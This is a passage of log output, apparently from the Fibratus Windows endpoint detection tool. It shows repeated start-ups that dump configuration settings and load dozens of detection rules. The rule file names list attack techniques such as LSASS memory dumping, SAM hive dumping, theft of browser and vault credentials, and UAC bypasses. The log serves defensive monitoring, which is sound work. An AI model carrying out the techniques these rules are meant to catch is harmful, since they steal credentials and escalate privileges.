+time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:11:58+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:11:58+01:00 level=info msg=bootstrapping with pid 10924. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:11:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true content-type=>text/html port=>25 enabled=>false to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true stack-enrichment=>true buffer-size=>512 enable-handle=>false enable-registry=>true max-buffers=>36 flush-interval=>1s min-buffers=>16 enable-net=>true enable-thread=>true enable-vamap=>true enable-mem=>false enable-dns=>false enable-fileio=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ http=>[ enabled=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s endpoints=>[] serializer=>json enable-gzip=>false] amqp=>[ exchange=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 routing-key=>fibratus passive=>false durable=>false exchange-type=>topic enabled=>false tls-insecure-skip-verify=>false vhost=>/ timeout=>5s] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ timeout=>5s flush-period=>1s gzip-compression=>false healthcheck=>true healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] index-name=>fibratus template-name=>fibratus enabled=>false sniff=>false bulk-workers=>1 trace-log=>false healthcheck-interval=>10s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-allocs=>false skip-mmaps=>false skip-registry=>false excluded-procs=>[] fastscan=>true skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:11:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:12:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:18:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:18:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:18:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:18:53+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:18:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:18:54+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:18:54+01:00 level=info msg=bootstrapping with pid 18164. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:18:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html enabled=>false port=>25 to=>[]] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true enable-threadpool=>false stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-mem=>false max-buffers=>36 flush-interval=>1s enable-fileio=>true min-buffers=>16 enable-image=>true enable-dns=>false enable-net=>true enable-registry=>true buffer-size=>512 enable-thread=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-size=>100 formatter=>text max-age=>0 level=>info] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s sniff=>false bulk-workers=>1 index-name=>fibratus healthcheck-timeout=>5s template-name=>fibratus flush-period=>1s gzip-compression=>false timeout=>5s trace-log=>false enabled=>false] amqp=>[ timeout=>5s enabled=>false durable=>false url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus exchange=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false passive=>false vhost=>/] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] http=>[ tls-insecure-skip-verify=>false endpoints=>[] method=>POST timeout=>5s serializer=>json enabled=>false enable-gzip=>false]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s excluded-files=>[] skip-mmaps=>false excluded-procs=>[] skip-registry=>false skip-allocs=>false fastscan=>true enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:18:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:18:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:19:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:19:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:19:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:19:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:19:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:19:41+01:00 level=info msg=loading rule from 